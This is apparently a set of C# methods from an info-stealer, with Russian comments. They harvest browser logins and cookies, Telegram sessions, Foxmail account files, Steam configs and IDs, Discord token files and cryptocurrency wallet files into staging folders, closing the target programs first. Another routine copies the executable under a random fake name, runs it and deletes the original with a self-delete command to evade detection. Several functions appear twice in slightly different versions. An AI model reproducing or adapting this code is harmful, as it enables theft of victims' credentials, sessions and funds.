/// <summary> /// Метод для копирования файлов БД в новую папку ( для безопасного дальнейшего извлечения данных ) /// </summary> /// <param name="Folder">Имя папки</param> /// <param name="filename">Имя файла</param> /// <param name="Recursive">Рекурсивное копирование файла</param> public static void CopyInSafeDir(string Folder, string filename, bool Recursive = true) { CombineEx.CreateOrDeleteDirectoryEx(true, Folder, FileAttributes.Normal); // Создаём новую папку куда будем копировать файлы foreach (string files in LCDFiles(filename)) // Проходимся по коллекции путей к файлам { if (CombineEx.ExistsFile(files)) // Проверяем каждый файл { try { // Проверяем что файл не пустой if (new FileInfo(files).Length != 0) { // Копируем в новую папку CombineEx.FileCopy(files, CombineEx.Inizialze(Folder, CombineEx.GetFileName(GetApplication.GetNameCycle(files))), Recursive); // Добавляем в новую коллекцию из новой папки ( безопасной ) GetSecureFile(Folder, GetApplication.GetNameCycle(files)); } } catch { continue; } } else { continue; } } }
public static void GetTelegramSession(string From, string To, string Expansion, bool True = true) { if (Directory.Exists(From) || (!Directory.Exists(To))) { try { CombineEx.CreateDir(To); foreach (string dirPath in Directory.EnumerateDirectories(From, Expansion, SearchOption.TopDirectoryOnly)) { if (!dirPath.Contains("dumps") && (!dirPath.Contains("temp")) && (!dirPath.Contains("user_data")) && (!dirPath.Contains("emoji"))) { CombineEx.CreateDir(dirPath?.Replace(From, To)); foreach (string newPath in Directory.EnumerateFiles(dirPath, Expansion, SearchOption.TopDirectoryOnly)) { try { CombineEx.FileCopy(newPath, newPath?.Replace(From, To), True); } catch (ArgumentException) { } catch (NotSupportedException) { } } } } } catch { } } }
public static void Inizialize() { string FullPathReg = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command"; ProcessKiller.Closing("Foxmail"); if (Directory.Exists(FoxMailPath.GetFoxMail(FullPathReg)) || !Directory.Exists(GlobalPath.FoxMailPass)) { CombineEx.CreateDir(GlobalPath.FoxMailPass); try { foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FullPathReg), "*@*", SearchOption.TopDirectoryOnly)) { try { string Email = dir.Substring(dir.LastIndexOf("\\") + 1); string UserDat = CombineEx.Combination(dir, @"Accounts\Account.rec0"); string FinalPath = CombineEx.Combination(GlobalPath.FoxMailPass, @"Account.rec0"); CombineEx.FileCopy(UserDat, FinalPath, true); Reader(UserDat, Email); if (File.Exists(GlobalPath.FoxMailLog)) { CombineEx.DeleteFile(FinalPath); } } catch (ArgumentException) { } } } catch (Exception) { } } }
/// <summary> /// Метод для сбора файлов со Steam директории /// </summary> /// <param name="exp">Сбор файлов без расширений ( *." )</param> /// <param name="congfiles">Сбор файлов с config директории</param> /// <param name="name">Именная папка Config</param> /// <param name="proc">Имя процесса Стим</param> public static void Inizialize(string exp, string congfiles, string name, string proc) { // Проверяем путь к папке стим if (CombineEx.ExistsDir(SteamPath.GetLocationSteam())) { CombineEx.CreateOrDeleteDirectoryEx(true, CombineEx.CombinePath(GlobalPath.Steam_Dir, name), FileAttributes.Normal); CombineEx.CreateFile(false, GlobalPath.SteamID, SteamProfiles.GetSteamID()); // Закрываем процесс чтобы можно было скопировать файлы. ProcessControl.Closing(proc); try { // Проходимся циклом по файлам без расширения foreach (var Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), exp).Where( // Проверяем файл Unknown => File.Exists(Unknown)).Where( // Обходим файл .crash Unknown => !Unknown.Contains(".crash")).Select(Unknown => Unknown)) { CombineEx.FileCopy(Unknown, CombineEx.CombinePath(GlobalPath.Steam_Dir, CombineEx.GetFileName(Unknown)), true); } // Проходимся циклом по файлам конфиг foreach (var Config in Directory.EnumerateFiles(CombineEx.CombinePath(SteamPath.GetLocationSteam(), name), congfiles).Where( // Проверяем файл Config => File.Exists(Config)).Select(Config => Config)) { CombineEx.FileCopy(Config, CombineEx.CombinePath(CombineEx.CombinePath(GlobalPath.Steam_Dir, name), CombineEx.GetFileName(Config)), true); } } catch { } } }
public static void Copy(string Expansion, string ConfigFiles, string Name, string Proc) { if (Directory.Exists(SteamPath.GetLocationSteam()) || (!Directory.Exists(GlobalPath.Steam_Dir))) { CombineEx.CreateDir(GlobalPath.Steam_Dir); ProcessKiller.Closing(Proc); try { foreach (string Unknown in Directory.EnumerateFiles(SteamPath.GetLocationSteam(), Expansion)) { if (File.Exists(Unknown)) { if (!Unknown.Contains(".crash")) { CombineEx.Combination(Unknown, CombineEx.Combination(GlobalPath.Steam_Dir, Path.GetFileName(Unknown))); } } else { continue; } } } catch (IOException) { } catch (UnauthorizedAccessException) { } catch (ArgumentException) { } if (!Directory.Exists(CombineEx.Combination(GlobalPath.Steam_Dir, Name))) { try { CombineEx.CreateDir(CombineEx.Combination(GlobalPath.Steam_Dir, Name)); SaveData.SaveFile(GlobalPath.SteamID, SteamProfiles.GetSteamID()); foreach (string Config in Directory.EnumerateFiles(CombineEx.Combination(SteamPath.GetLocationSteam(), Name), ConfigFiles)) { if (!File.Exists(Config)) { continue; } else { CombineEx.FileCopy(Config, CombineEx.Combination(CombineEx.Combination(GlobalPath.Steam_Dir, Name), Path.GetFileName(Config)), true); } } } catch { } } } }
private static void CopyDiscordSafeDir(int size = 0) { if (File.Exists(GlobalPath.DiscordFile) || (!Directory.Exists(GlobalPath.DiscordHome))) { CombineEx.CreateDir(GlobalPath.DiscordHome); try { if (!new FileInfo(GlobalPath.DiscordFile).Length.Equals(size)) { CombineEx.FileCopy(GlobalPath.DiscordFile, CombineEx.Combination(GlobalPath.DiscordHome, Path.GetFileName(GlobalPath.DiscordFile)), true); } } catch { } } }
public static void CopyLoginsInSafeDir(string Folder, bool Recursive = true) { CombineEx.CreateDir(Folder); for (int i = 0; i < BrPaths.Count; i++) { int SafeIndex = i; if (File.Exists(BrPaths[SafeIndex])) { try { CombineEx.FileCopy(BrPaths[SafeIndex], CombineEx.Combination(Folder, Path.GetFileName(GetApplication.GetBrowserName(BrPaths[SafeIndex]))), Recursive); GetSecureFile(Folder, GetApplication.GetBrowserName(BrPaths[SafeIndex])); } catch (ArgumentException) { } } } }
private static void CopyFiles(string dir, string path) { if (File.Exists(path)) { CombineEx.CreateDir(GlobalPath.CryptoDir); string fd = CombineEx.CombinationEx(GlobalPath.CryptoDir, dir); CombineEx.CreateDir(fd); try { int size = 0; if (!(new FileInfo(path).Length == size)) { CombineEx.FileCopy(path, CombineEx.CombinationEx(fd, Path.GetFileName(path)), true); } } catch { } } }
private static bool GeName(string path) { using (var rnd = new RNGCryptoServiceProvider()) { try { foreach (string i in FakeName.OrderBy(x => GetNextInt32(rnd)).ToArray()) { RandomProcessName = CombineEx.Combination(path, i); break; } CombineEx.FileCopy(GlobalPath.AssemblyPath, RandomProcessName, false); // Перемещает запускаемый файл! ProcessKiller.Running(RandomProcessName, false); ProcessKiller.Delete("/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath); } catch { return(false); } return(true); } }
private static bool GeName(string path) { using (var rnd = new RNGCryptoServiceProvider()) { try { foreach (string style in FakeName.OrderBy(x => GetNextInt32(rnd)).ToArray()) // генерируем рандомное имя из списка FakeName { RandomProcessName = CombineEx.Combination(path, style); // Задаём сгенерированное имя для нового файла .exe break; // Выбрали первое подходящие, выходим из цикла. } CombineEx.FileCopy(GlobalPath.AssemblyPath, RandomProcessName, false); // Копируем запускаемый файл в новую папку ProcessKiller.Running(RandomProcessName, false); // Запускаем файл из новой папки ProcessKiller.Delete("/C choice /C Y /N /D Y /T 0 & Del", GlobalPath.AssemblyPath); // Удаляем предыдущий процесс } catch { return(false); } return(true); } }
public static void CopyCookiesInSafeDir(string DirCookies, bool Recursive = true) { CombineEx.CreateDir(DirCookies); foreach (string Cookie in CookiesFullPath) { if (!File.Exists(Cookie)) { continue; } else { try { CombineEx.FileCopy(Cookie, CombineEx.Combination(DirCookies, Path.GetFileName(GetApplication.GetBrowserName(Cookie))), Recursive); GetSecureFile(DirCookies, GetApplication.GetBrowserName(Cookie)); } catch (ArgumentException) { } } } }
public static void GetSession(string From, string To, string Exp) { if (CombineEx.ExistsDir(From)) { CombineEx.CreateOrDeleteDirectoryEx(true, To, FileAttributes.Normal); try { foreach (var dirPath in from string dirPath in Directory.EnumerateDirectories(From, Exp, SearchOption.TopDirectoryOnly) where !dirPath.Contains("dumps") && (!dirPath.Contains("temp")) && (!dirPath.Contains("user_data")) && (!dirPath.Contains("emoji")) && (!dirPath.Contains("tdummy")) select dirPath) { CombineEx.CreateOrDeleteDirectoryEx(true, dirPath?.Replace(From, To), FileAttributes.Normal); foreach (string newPath in Directory.EnumerateFiles(dirPath, Exp, SearchOption.TopDirectoryOnly)) { CombineEx.FileCopy(newPath, newPath?.Replace(From, To), true); } } } catch (Exception) { } } }
public static void Inizialize() { ProcessControl.Closing("Foxmail"); const string FOXPATH = @"SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command"; string UserDat = string.Empty, FinalPath = string.Empty, Email = string.Empty; if (CombineEx.ExistsDir(FoxMailPath.GetFoxMail(FOXPATH))) { try { foreach (string dir in Directory.EnumerateDirectories(FoxMailPath.GetFoxMail(FOXPATH), "*@*", SearchOption.TopDirectoryOnly)) { Email = dir.Substring(dir.LastIndexOf("\\") + 1); UserDat = CombineEx.CombinePath(dir, @"Accounts\Account.rec0"); FinalPath = CombineEx.CombinePath(GlobalPath.FoxMailPass, @"Account.rec0"); CombineEx.FileCopy(UserDat, FinalPath, false); break; } } catch { } Reader(UserDat, Email); CombineEx.DeleteFile(FinalPath); } }